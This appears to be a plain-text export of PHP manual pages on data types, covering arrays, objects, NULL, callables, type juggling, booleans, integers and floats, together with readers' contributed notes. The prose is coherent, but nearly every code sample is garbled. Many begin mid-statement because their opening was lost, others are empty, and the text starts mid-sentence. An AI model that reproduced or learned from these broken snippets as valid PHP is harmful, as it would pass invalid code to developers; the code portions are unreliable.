decision, but in some cases of large integer keyed arrays it may significantly reduce server memory and increase performance (including the avoiding of expensive memory deallocation of hashtable arrays at the exiting of the script). 28 ia [AT] zoznam [DOT] sk ¶11 years ago~ Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach: > &$value ) { $value = 1; } // without next line you can get bad results... //unset( $value ); $value = 159; ?> < Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1'). Bad results can also appear in nested foreach loops (the same reason as above). So either unset $value after each foreach or better use the longer form: > $value ) { $arr[ $key ] = 1; } ?> < 19 caifara aaaat im dooaat be ¶11 years ago~ [Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.] Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now... I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean: > 0, "b" => 1 ); $a2 = array( "aa" => 00, "bb" => 11 ); $together = array( $a1, $a2 ); foreach( $together as $single ) { $single[ "c" ] = 3 ; } print_r( $together ); /* nothing changed result is: Array ( [0] => Array ( [a] => 0 [b] => 1 ) [1] => Array ( [aa] => 0 [bb] => 11 ) ) */ foreach( $together as $key => $value ) { $together[$key]["c"] = 3 ; } print_r( $together ); /* now it works, this prints Array ( [0] => Array ( [a] => 0 [b] => 1 [c] => 3 ) [1] => Array ( [aa] => 0 [bb] => 11 [c] => 3 ) ) */ ?> < 7 Walter Tross ¶6 years ago~ It is true that "array assignment always involves value copying", but the copy is a "lazy copy". This means that the data of the two variables occupy the same memory as long as no array element changes. E.g., if you have to pass an array to a function that only needs to read it, there is no advantage at all in passing it by reference. -------------------------------------------------------------------------------- *Objects* +---------+~ | Objects |~ +---------+~ Object Initialization~ To create a new object, use the new statement to instantiate a class: > do_foo(); ?> < For a full discussion, see the Classes and Objects chapter. Converting to object~ If an object is converted to an object, it is not modified. If a value of any other type is converted to an object, a new instance of the stdClass built-in class is created. If the value was NULL, the new instance will be empty. An array converts to an object with properties named by keys and corresponding values, with the exception of numeric keys which will be inaccessible unless iterated. > 'foo'); var_dump(isset($obj->{'1'})); // outputs 'bool(false)' var_dump(key($obj)); // outputs 'int(1)' ?> < For any other value, a member variable named scalar will contain the value. > scalar; // outputs 'ciao' ?> < User Contributed Notes 24 notes 263 helpful at stranger dot com ¶5 years ago~ By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose: > < I had the most difficult time finding this, hopefully it will help someone else! 72 Anthony ¶1 year ago~ In PHP 7 there are a few ways to create an empty object: > < $obj1 and $obj3 are the same type, but $obj1 !== $obj3. Also, all three will json_encode() to a simple JS object {}: > < Outputs: [{},{},{}] 23 twitter/matt2000 ¶1 year ago~ As of PHP 5.4, we can create stdClass objects with some properties and values using the more beautiful form: > 'foo', 'propertyTwo' => 42, ]; ?> < 39 Ashley Dambra ¶3 years ago~ Here a new updated version of 'stdObject' class. It's very useful when extends to controller on MVC design pattern, user can create it's own class. Hope it help you. > $argument) { $this->{$property} = $argument; } } } public function __call($method, $arguments) { $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this). if (isset($this->{$method}) && is_callable($this->{$method})) { return call_user_func_array($this->{$method}, $arguments); } else { throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()"); } } } // Usage. $obj = new stdObject(); $obj->name = "Nick"; $obj->surname = "Doe"; $obj->age = 20; $obj->adresse = null; $obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject). echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse; }; $func = "setAge"; $obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method. $stdObject->age = $age; }; $obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'. // Create dynamic method. Here i'm generating getter and setter dynimically // Beware: Method name are case sensitive. foreach ($obj as $func_name => $value) { if (!$value instanceOf Closure) { $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) { // Note: you can also use keyword 'use' to bind parent variables. $stdObject->{$func_name} = $value; }; $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) { // Note: you can also use keyword 'use' to bind parent variables. return $stdObject->{$func_name}; }; } } $obj->setName("John"); $obj->setAdresse("Boston"); $obj->getInfo(); ?> < 16 Mithras ¶8 years ago~ In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with: > $value ){ if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value ); } return (object) $array; } ?> < 11 qeremy [atta] gmail [dotta] com ¶5 years ago~ Do you remember some JavaScript implementations? > // var timestamp = (new Date).getTime(); < Now it's possible with PHP 5.4.*; > b; } public function setC($c) { $this->c = $c; return $this; } public function getC() { return $this->c; } } print (new Foo)->a; // I'm a! print (new Foo)->getB(); // I'm b! ?> < or > setC($_GET["c"]) ->getC(); // I'm c! ?> < 8 cFreed at orange dot fr ¶7 years ago~ CAUTION: "Arrays convert to an object with properties named by keys, and corresponding values". This is ALWAYS true, which means that even numeric keys are accepted when converting. But the resulting properties cannot be accessed, since they don't match the variables naming rules. So this: > 'A', 'b'=>'B', 'C'); echo '
'.print_r($x, true).'
'; ?> < works and displays: > stdClass Object ( [a] => A [b] => B [0] => C ) < But this: > '.$x->a; echo '
'.$x->b; echo '
'.$x->{0}; # (don't use $x->0, which is obviously a syntax error) ?> < fails and displays: > A B Notice: Undefined property: stdClass::$0 in... < 10 gabe at fijiwebdesign dot com ¶9 years ago~ In response to sirbinam. You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword. The code below works fine and illustrates that "stdout" has been defined before its instantiation. > starttime = microtime(); } function dump(){ global $stdout; $this->endtime = microtime(); $duration = $this->endtime - $this->starttime; $stdout->write($duration); } } class stdout{ function write($msg){ echo $msg; } } $stdout =& new stdout(); $profiler =& new profiler(); $profiler->dump(); ?> < All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet. 6 mailto dot aurelian at gmail dot com ¶7 years ago~ You can create [recursive] objects with something like: > (object) array( 'bar' => 'baz', 'pax' => 'vax' ), 'moo' => 'ui' ); print $literalObjectDeclared->foo->bar; // outputs "baz"! ?> < -------------------------------------------------------------------------------- *Resources* +-----------+~ | Resources |~ +-----------+~ A resource is a special variable, holding a reference to an external resource. Resources are created and used by special functions. See the appendix for a listing of all these functions and the corresponding resource types. See also the |get_resource_type|() function. Converting to resource~ As resource variables hold special handles to opened files, database connections, image canvas areas and the like, converting to a resource makes no sense. Freeing resources~ Thanks to the reference-counting system being part of Zend Engine, a resource with no more references to it is detected automatically, and it is freed by the garbage collector. For this reason, it is rarely necessary to free the memory manually. Note: Persistent database links are an exception to this rule. They are not destroyed by the garbage collector. See the persistent connections section for more information. -------------------------------------------------------------------------------- *NULL* +------+~ | NULL |~ +------+~ The special NULL value represents a variable with no value. NULL is the only possible value of type null. A variable is considered to be null if: it has been assigned the constant NULL. it has not been set to any value yet. it has been unset(). Syntax~ There is only one value of type null, and that is the case-insensitive constant NULL. > < See also the functions is_null() and unset(). Casting to NULL~ Warning This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged. Casting a variable to null using (unset) $var will not remove the variable or unset its value. It will only return a NULL value. User Contributed Notes 8 notes 37 quickpick ¶5 years ago~ Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array. > $a = array(); $a == null <== return true $a === null < == return false is_null($a) <== return false < -------------------------------------------------------------------------------- *callbacks_callables* +-----------------------+~ | Callbacks / Callables |~ +-----------------------+~ Callbacks can be denoted by callable type hint as of PHP 5.4. This documentation used callback type information for the same purpose. Some functions like call_user_func() or usort() accept user-defined callback functions as a parameter. Callback functions can not only be simple functions, but also object methods, including static class methods. Passing~ A PHP function is passed by its name as a string. Any built-in or user-defined function can be used, except language constructs such as: array(), echo, empty(), eval(), exit(), isset(), list(), print or unset(). A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by passing the class name instead of an object at index 0. As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'. Apart from common user-defined function, anonymous functions can also be passed to a callback parameter. Example #1 Callback function examples > < Example #2 Callback example using a Closure > < The above example will output: > 2 4 6 8 10 < Note: Callbacks registered with functions such as call_user_func() and call_user_func_array() will not be called if there is an uncaught exception thrown in a previous callback. User Contributed Notes 10 notes 162 Riikka K ¶1 year ago~ A note on differences when calling callbacks as "variable functions" without the use of call_user_func() (e.g. ""): - Using the name of a function as string has worked since at least 4.3.0 - Calling anonymous functions and invokable objects has worked since 5.3.0 - Using the array structure [$object, 'method'] has worked since 5.4.0 Note, however, that the following are not supported when calling callbacks as variable functions, even though they are supported by call_user_func(): - Calling static class methods via strings such as 'foo::doStuff' - Calling parent method using the [$object, 'parent::method'] array structure All of these cases are correctly recognized as callbacks by the 'callable' type hint, however. Thus, the following code will produce an error "Fatal error: Call to undefined function foo::doStuff() in /tmp/code.php on line 4": > < The code would work fine, if we replaced the '$callback()' with 'call_user_func($callback)' or if we used the array ['foo', 'doStuff'] as the callback instead. 194 steve at mrclay dot org ¶4 years ago~ Performance note: The callable type hint, like is_callable(), will trigger an autoload of the class if the value looks like a static method callback. 185 edanschwartz at gmail dot com ¶2 years ago~ You can use 'self::methodName' as a callable, but this is dangerous. Consider this example: > < This results in an error: Warning: class 'FunctionCaller' does not have a method 'someAwesomeMethod'. For this reason you should always use the full class name: > < I believe this is because there is no way for FunctionCaller to know that the string 'self' at one point referred to to `Foo`. 177 computrius at gmail dot com ¶3 years ago~ When specifying a call back in array notation (ie. array($this, "myfunc") ) the method can be private if called from inside the class, but if you call it from outside you'll get a warning: > "; } public function export() { return array($this, 'walkIt'); } } $data = array(1,2,3,4); $m = new mc; $m->go($data); // valid array_walk($data, $m->export()); // will generate warning ?> < Output: > 1
2
3
4
Warning: array_walk() expects parameter 2 to be a valid callback, cannot access private method mc::walkIt() in /in/tfh7f on line 22 < 199 andrewbessa at gmail dot com ¶4 years ago~ You can also use the $this variable to specify a callback: > property; } } ?> < 171 metamarkers at gmail dot com ¶3 years ago~ you can pass an object as a callable if its class defines the __invoke() magic method.. 158 Yzmir Ramirez ¶2 years ago~ > As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName' You can also use 'self::methodName'. This works in PHP 5.2.12 for me. 60 mariano dot REMOVE dot perez dot rodriguez at gmail dot com ¶1 year ago~ I needed a function that would determine the type of callable being passed, and, eventually, normalized it to some extent. Here's what I came up with: > [a-z_][a-z0-9_]*)::(?[a-z_][a-z0-9_]*)$~i', $callable, $m)) { list($left, $right) = [$m['class'], $m['method']]; if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) { $norm = [$left, $right]; return 'static'; } } else { $norm = $callable; return 'function'; } break; case is_array($callable): $m = null; if (preg_match('~^(:?(?self|parent)::)?(?[a-z_][a-z0-9_]*)$~i', $callable[1], $m)) { if (is_string($callable[0])) { if ('parent' === strtolower($m['reference'])) { list($left, $right) = [get_parent_class($callable[0]), $m['method']]; } else { list($left, $right) = [$callable[0], $m['method']]; } if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) { $norm = [$left, $right]; return 'static'; } } else { if ('self' === strtolower($m['reference'])) { list($left, $right) = [$callable[0], $m['method']]; } else { list($left, $right) = $callable; } if (!$strict || !(new \ReflectionMethod($left, $right))->isStatic()) { $norm = [$left, $right]; return 'object'; } } } break; } $norm = $callable; return 'unknown'; } $norm = null; return false; } ?> < Hope someone else finds it useful. -------------------------------------------------------------------------------- *Pseudo-types_and_variables_used_in_this_documentation* +-------------------------------------------------------+~ | Pseudo-types and variables used in this documentation |~ +-------------------------------------------------------+~ Pseudo-types are keywords used in the PHP documentation to specify the types or values an argument can have. Please note that that they are not primitives of the PHP language. So you cannot use pseudo-types as typehints in your own custom functions. mixed~ mixed indicates that a parameter may accept multiple (but not necessarily all) types. |gettype|() for example will accept all PHP types, while str_replace() will accept strings and arrays. number~ number indicates that a parameter can be either integer or float. callback~ callback pseudo-types was used in this documentation before callable type hint was introduced by PHP 5.4. It means exactly the same. array|object~ array|object indicates that a parameter can be either array or object. void~ void as a return type means that the return value is useless. void in a parameter list means that the function doesn't accept any parameters. ... ~ $... in function prototypes means and so on. This variable name is used when a function can take an endless number of arguments. -------------------------------------------------------------------------------- *type_juggling* +---------------+~ | Type Juggling |~ +---------------+~ PHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer. An example of PHP's automatic type conversion is the multiplication operator '*'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is. > < If the last two examples above seem odd, see String conversion to numbers. To force a variable to be evaluated as a certain type, see the section on Type casting. To change the type of a variable, see the settype() function. To test any of the examples in this section, use the var_dump() function. Note: The behaviour of an automatic conversion to array is currently undefined. Also, because PHP supports indexing into strings via offsets using the same syntax as array indexing, the following example holds true for all PHP versions: > < See the section titled String access by character for more information. Type Casting~ Type casting in PHP works much as it does in C: the name of the desired type is written in parentheses before the variable which is to be cast. > < The casts allowed are: > (int), (integer) - cast to integer (bool), (boolean) - cast to boolean (float), (double), (real) - cast to float (string) - cast to string (array) - cast to array (object) - cast to object (unset) - cast to NULL (PHP 5) (binary) casting and b prefix forward support was added in PHP 5.2.1 < Note that tabs and spaces are allowed inside the parentheses, so the following are functionally equivalent: > < Casting literal strings and variables to binary strings: > < Note: Instead of casting a variable to a string, it is also possible to enclose the variable in double quotes. > < It may not be obvious exactly what will happen when casting between certain types. For more information, see these sections: Converting to boolean Converting to integer Converting to float Converting to string Converting to array Converting to object Converting to resource Converting to NULL The type comparison tables User Contributed Notes 33 notes 44 Raja ¶12 years ago~ Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example): > $dividend = 2; $divisor = 3; $quotient = $dividend/$divisor; print $quotient; // 0.66666666666667 < 17 yury at krasu dot ru ¶14 years ago~ incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so: > $a = TRUE; echo ($a++).$a; // prints "11" < 13 Anonymous ¶14 years ago~ Printing or echoing a FALSE boolean value or a NULL value results in an empty string: > (string)TRUE //returns "1" (string)FALSE //returns "" echo TRUE; //prints "1" echo FALSE; //prints nothing! < 10 ieee at REMOVE dot bk dot ru ¶4 years ago~ There are some shorter and faster (at least on my machine) ways to perform a type cast. > < 9 fardelian ¶3 years ago~ Casting objects to arrays is a pain. Example: > '; print_r((array) $test); /* Array ( [MyClasspriv] => priv_value [*prot] => prot_value [pub] => pub_value [MyClasspriv] => second_pub_value ) */ ?> < Yes, that looks like an array with two keys with the same name and it looks like the protected field was prepended with an asterisk. But that's not true: > $value) { $len = strlen($key); echo "{$key} ({$len}) => {$value}
"; for ($i = 0; $i < $len; ++$i) { echo ord($key[$i]) . ' '; } echo '
'; } /* MyClasspriv (13) => priv_value 0 77 121 67 108 97 115 115 0 112 114 105 118 *prot (7) => prot_value 0 42 0 112 114 111 116 pub (3) => pub_value 112 117 98 MyClasspriv (11) => second_pub_value 77 121 67 108 97 115 115 112 114 105 118 */ ?> < The char codes show that the protected keys are prepended with '\0*\0' and private keys are prepended with '\0'.__CLASS__.'\0' so be careful when playing around with this. -------------------------------------------------------------------------------- *Introduction_to_Types* +-----------------------+~ | Introduction to Types |~ +-----------------------+~ PHP supports nine primitive types. Four scalar types: boolean integer float (floating-point number, aka double) string Three compound types: array object callable And finally two special types: resource NULL This manual also introduces some pseudo-types for readability reasons: mixed number callback (aka callable) array|object void And the pseudo-variable $.... Some references to the type "double" may remain in the manual. Consider double the same as float; the two names exist only for historic reasons. The type of a variable is not usually set by the programmer; rather, it is decided at runtime by PHP depending on the context in which that variable is used. Note: To check the type and value of an expression, use the var_dump() function. To get a human-readable representation of a type for debugging, use the gettype() function. To check for a certain type, do not use gettype(), but rather the is_type functions. Some examples: > < To forcibly convert a variable to a certain type, either cast the variable or use the settype() function on it. Note that a variable may be evaluated with different values in certain situations, depending on what type it is at the time. For more information, see the section on Type Juggling. The type comparison tables may also be useful, as they show examples of various type-related comparisons. -------------------------------------------------------------------------------- *Booleans* +----------+~ | Booleans |~ +----------+~ This is the simplest type. A boolean expresses a truth value. It can be either TRUE or FALSE. Syntax~ To specify a boolean literal, use the constants TRUE or FALSE. Both are case-insensitive. > < Typically, the result of an operator which returns a boolean value is passed on to a control structure. > \n"; } // ...because this can be used with exactly the same meaning: if ($show_separators) { echo "
\n"; } ?> < Converting to boolean~ To explicitly convert a value to boolean, use the (bool) or (boolean) casts. However, in most cases the cast is unnecessary, since a value will be automatically converted if an operator, function or control structure requires a boolean argument. See also Type Juggling. When converting to boolean, the following values are considered FALSE: the boolean FALSE itself the integer 0 (zero) the float 0.0 (zero) the empty string, and the string "0" an array with zero elements the special type NULL (including unset variables) SimpleXML objects created from empty tags Every other value is considered TRUE (including any resource and NAN). Warning -1 is considered TRUE, like any other non-zero (whether negative or positive) number! > < User Contributed Notes 19 notes 508 Fred Koschara ¶3 years ago~ Ah, yes, booleans - bit values that are either set (TRUE) or not set (FALSE). Now that we have 64 bit compilers using an int variable for booleans, there is *one* value which is FALSE (zero) and 2**64-1 values that are TRUE (everything else). It appears there's a lot more truth in this universe, but false can trump anything that's true... PHP's handling of strings as booleans is *almost* correct - an empty string is FALSE, and a non-empty string is TRUE - with one exception: A string containing a single zero is considered FALSE. Why? If any non-empty strings are going to be considered FALSE, why *only* a single zero? Why not "FALSE" (preferably case insensitive), or "0.0" (with how many decimal places), or "NO" (again, case insensitive), or ... ? The *correct* design would have been that any non-empty string is TRUE - period, end of story. Instead, there's another GOTCHA for the less-than-completely-experienced programmer to watch out for, and fixing the language's design error at this late date would undoubtedly break so many things that the correction is completely out of the question. Speaking of GOTCHAs, consider this code sequence: > < Is $z TRUE or FALSE? In this case, $z will be FALSE because the above code is equivalent to rather than as might be expected - because the OR operator has lower precedence than assignment operators. On the other hand, after this code sequence: > < $z will be TRUE, as expected, because the || operator has higher precedence than assignment: The code is equivalent to $z=($y OR $x). This is why you should NEVER use the OR operator without explicit parentheses around the expression where it is being used. 122 admin at eexit dot fr ¶8 years ago~ Beware of certain control behavior with boolean and non boolean values : > < 13 goran77 at fastmail dot fm ¶7 months ago~ Just something that will probably save time for many new developers: beware of interpreting FALSE and TRUE as integers. For example, a small function for deleting elements of an array may give unexpected results if you are not fully aware of what happens: > < The problem here is, although array_search returns boolean false when it doesn't find specific element, it is interpreted as zero when used as array index. So you have to explicitly check for FALSE, otherwise you'll probably loose some elements: > < 33 artktec at gmail dot com ¶9 years ago~ Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT. So you can do something like: > < And non-integers are casted as if to bool, then NOT. Example: > < To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool). Example: > 0 or !(empty($array)) to check to see if an array is empty or not (you would use: !!$array). */ $status = (!!$array ? 'complete' : 'incomplete'); $s = !!"testing"; // This will === true; (as expected) /* Note: normal casting rules apply so a !!"0" would evaluate to an === false */ ?> < 25 Steve ¶9 years ago~ PHP does not break any rules with the values of true and false. The value false is not a constant for the number 0, it is a boolean value that indicates false. The value true is also not a constant for 1, it is a special boolean value that indicates true. It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one. Notice what it says at the top of the page: A boolean expresses a truth value. It does not say "a boolean expresses a 0 or 1". It's true that symbolic constants are specifically designed to always and only reference their constant value. But booleans are not symbolic constants, they are values. If you're trying to add 2 boolean values you might have other problems in your application. 6 Symbol ¶7 years ago~ Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option) 6 oscar at oveas dot com ¶6 years ago~ Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans. Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes. > < -------------------------------------------------------------------------------- *Integers* +----------+~ | Integers |~ +----------+~ An integer is a number of the set Z = {..., -2, -1, 0, 1, 2, ...}. See also: Arbitrary length integer / GMP Floating point numbers Arbitrary precision / BCMath Syntax ¶ Integers can be specified in decimal (base 10), hexadecimal (base 16), octal (base 8) or binary (base 2) notation, optionally preceded by a sign (- or +). Binary integer literals are available since PHP 5.4.0. To use octal notation, precede the number with a 0 (zero). To use hexadecimal notation precede the number with 0x. To use binary notation precede the number with 0b. Example #1 Integer literals > < Formally, the structure for integer literals is: decimal : [1-9][0-9]* | 0 hexadecimal : 0[xX][0-9a-fA-F]+ octal : 0[0-7]+ binary : 0b[01]+ integer : [+-]?decimal | [+-]?hexadecimal | [+-]?octal | [+-]?binary The size of an integer is platform-dependent, although a maximum value of about two billion is the usual value (that's 32 bits signed). 64-bit platforms usually have a maximum value of about 9E18, except on Windows prior to PHP 7, where it was always 32 bit. PHP does not support unsigned integers. Integer size can be determined using the constant PHP_INT_SIZE, maximum value using the constant PHP_INT_MAX since PHP 5.0.5, and minimum value using the constant PHP_INT_MIN since PHP 7.0.0. Warning Prior to PHP 7, if an invalid digit was given in an octal integer (i.e. 8 or 9), the rest of the number was ignored. Since PHP 7, a parse error is emitted. Integer overflow~ If PHP encounters a number beyond the bounds of the integer type, it will be interpreted as a float instead. Also, an operation which results in a number beyond the bounds of the integer type will return a float instead. Example #2 Integer overflow on a 32-bit system > < Example #3 Integer overflow on a 64-bit system > < There is no integer division operator in PHP. 1/2 yields the float 0.5. The value can be casted to an integer to round it towards zero, or the round() function provides finer control over rounding. > < Converting to integer~ To explicitly convert a value to integer, use either the (int) or (integer) casts. However, in most cases the cast is not needed, since a value will be automatically converted if an operator, function or control structure requires an integer argument. A value can also be converted to integer with the intval() function. If a resource is converted to an integer, then the result will be the unique resource number assigned to the resource by PHP at runtime. See also Type Juggling. From booleans~ FALSE will yield 0 (zero), and TRUE will yield 1 (one). From floating point numbers ¶ When converting from float to integer, the number will be rounded towards zero. If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31 on 32-bit platforms and +/- 9.22e+18 = 2^63 on 64-bit platforms other than Windows), the result is undefined, since the float doesn't have enough precision to give an exact integer result. No warning, not even a notice will be issued when this happens! Note: As of PHP 7.0.0, instead of being undefined and platform-dependent, NaN and Infinity will always be zero when cast to integer. Warning Never cast an unknown fraction to integer, as this can sometimes lead to unexpected results. > < See also the warning about float precision. From strings~ See String conversion to numbers From other types~ Caution The behaviour of converting to integer is undefined for other types. Do not rely on any observed behaviour, as it can change without notice. 39 d_n at NOSPAM dot Loryx dot com ¶9 years ago~ Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters. IP to BIGINT: > < IP as BIGINT read from db back to dotted form: Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor ()'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so we can enjoy the bitshifts. > floor( $ipVal / 0x1000000) ); $ipVint = $ipVal-($ipArr[0]*0x1000000); // for clarity $ipArr[1] = ($ipVint & 0xFF0000) >> 16; $ipArr[2] = ($ipVint & 0xFF00 ) >> 8; $ipArr[3] = $ipVint & 0xFF; $ipDotted = implode('.', $ipArr); ?> < 27 php at richardneill dot org ¶4 years ago~ A leading zero in a numeric literal means "this is octal". But don't be confused: a leading zero in a string does not. Thus: $x = 0123; // 83 $y = "0123" + 0 // 123 15 Anonymous ¶2 years ago~ Converting to an integer works only if the input begins with a number (int) "5txt" // will output the integer 5 (int) "before5txt" // will output the integer 0 (int) "53txt" // will output the integer 53 (int) "53txt534text" // will output the integer 53 21 rustamabd@gmail-you-know-what ¶10 years ago~ Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example: > < Will output: > i=6.88713E+009 i%36=-24 alternative i%36=20 < 7 darkshire ¶9 years ago~ d_n at NOSPAM dot Loryx dot com 13-Aug-2007 05:33 Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters. IP to BIGINT: > < This can be written in a bit more efficient way: > < shift is more cheaper. 6 Anonymous ¶10 years ago~ To force the correct usage of 32-bit unsigned integer in some functions, just add '+0' just before processing them. for example > echo(dechex("2724838310")); < will print '7FFFFFFF' but it should print 'A269BBA6' When adding '+0' php will handle the 32bit unsigned integer correctly > echo(dechex("2724838310"+0)); < will print 'A269BBA6' -------------------------------------------------------------------------------- *Floating_point_numbers* +------------------------+~ | Floating point numbers |~ +------------------------+~ Floating point numbers (also known as "floats", "doubles", or "real numbers") can be specified using any of the following syntaxes: > < Formally: > LNUM [0-9]+ DNUM ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*) EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM}) < The size of a float is platform-dependent, although a maximum of ~1.8e308 with a precision of roughly 14 decimal digits is a common value (the 64 bit IEEE format). Warning Floating point precision Floating point numbers have limited precision. Although it depends on the system, PHP typically uses the IEEE 754 double precision format, which will give a maximum relative error due to rounding in the order of 1.11e-16. Non elementary arithmetic operations may give larger errors, and, of course, error propagation must be considered when several operations are compounded. Additionally, rational numbers that are exactly representable as floating point numbers in base 10, like 0.1 or 0.7, do not have an exact representation as floating point numbers in base 2, which is used internally, no matter the size of the mantissa. Hence, they cannot be converted into their internal binary counterparts without a small loss of precision. This can lead to confusing results: for example, floor((0.1+0.7)*10) will usually return 7 instead of the expected 8, since the internal representation will be something like 7.9999999999999991118.... So never trust floating number results to the last digit, and do not compare floating point numbers directly for equality. If higher precision is necessary, the arbitrary precision math functions and gmp functions are available. For a "simple" explanation, see the » floating point guide that's also titled "Why don’t my numbers add up?" Converting to float~ For information on converting strings to float, see String conversion to numbers. For values of other types, the conversion is performed by converting the value to integer first and then to float. See Converting to integer for more information. As of PHP 5, a notice is thrown if an object is converted to float. Comparing floats~ As noted in the warning above, testing floating point values for equality is problematic, due to the way that they are represented internally. However, there are ways to make comparisons of floating point values that work around these limitations. To test floating point values for equality, an upper bound on the relative error due to rounding is used. This value is known as the machine epsilon, or unit roundoff, and is the smallest acceptable difference in calculations. $a and $b are equal to 5 digits of precision. > < NaN~ Some numeric operations can result in a value represented by the constant NAN. This result represents an undefined or unrepresentable value in floating-point calculations. Any loose or strict comparisons of this value against any other value, including itself, but except TRUE, will have a result of FALSE. Because NAN represents any number of different values, NAN should not be compared to other values, including itself, and instead should be checked for using is_nan(). User Contributed Notes 33 notes 95 catalin dot luntraru at gmail dot com ¶3 years ago~ $x = 8 - 6.4; // which is equal to 1.6 $y = 1.6; var_dump($x == $y); // is not true PHP thinks that 1.6 (coming from a difference) is not equal to 1.6. To make it work, use round() var_dump(round($x, 2) == round($y, 2)); // this is true This happens probably because $x is not really 1.6, but 1.599999.. and var_dump shows it to you as being 1.6. 48 www.sarioz.com ¶14 years ago~ just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333." While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated. 0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result). However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal. 24 feline at NOSPAM dot penguin dot servehttp dot com ¶12 years ago~ General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later. 15 backov at spotbrokers-nospamplz dot com ¶14 years ago~ I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane. This test (where var_dump says that $a=0.1 and $b=0.1) if ($a>=$b) echo "blah!"; Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there). To fix, I had to do this horrible kludge (the equivelant of anyway): if (round($a,3)>=round($b,3)) echo "blah!"; THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation? 10 Luzian ¶11 years ago~ Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this: > $x = 0.23; $js = "var foo = doBar($x);"; print $js; < This would result in a different result for users with some locales. On most systems, this would print: var foo = doBar(0.23); but when for example a user from Germany arrives, it would be different: var foo = doBar(0,23); which is obviously a different call to the function. 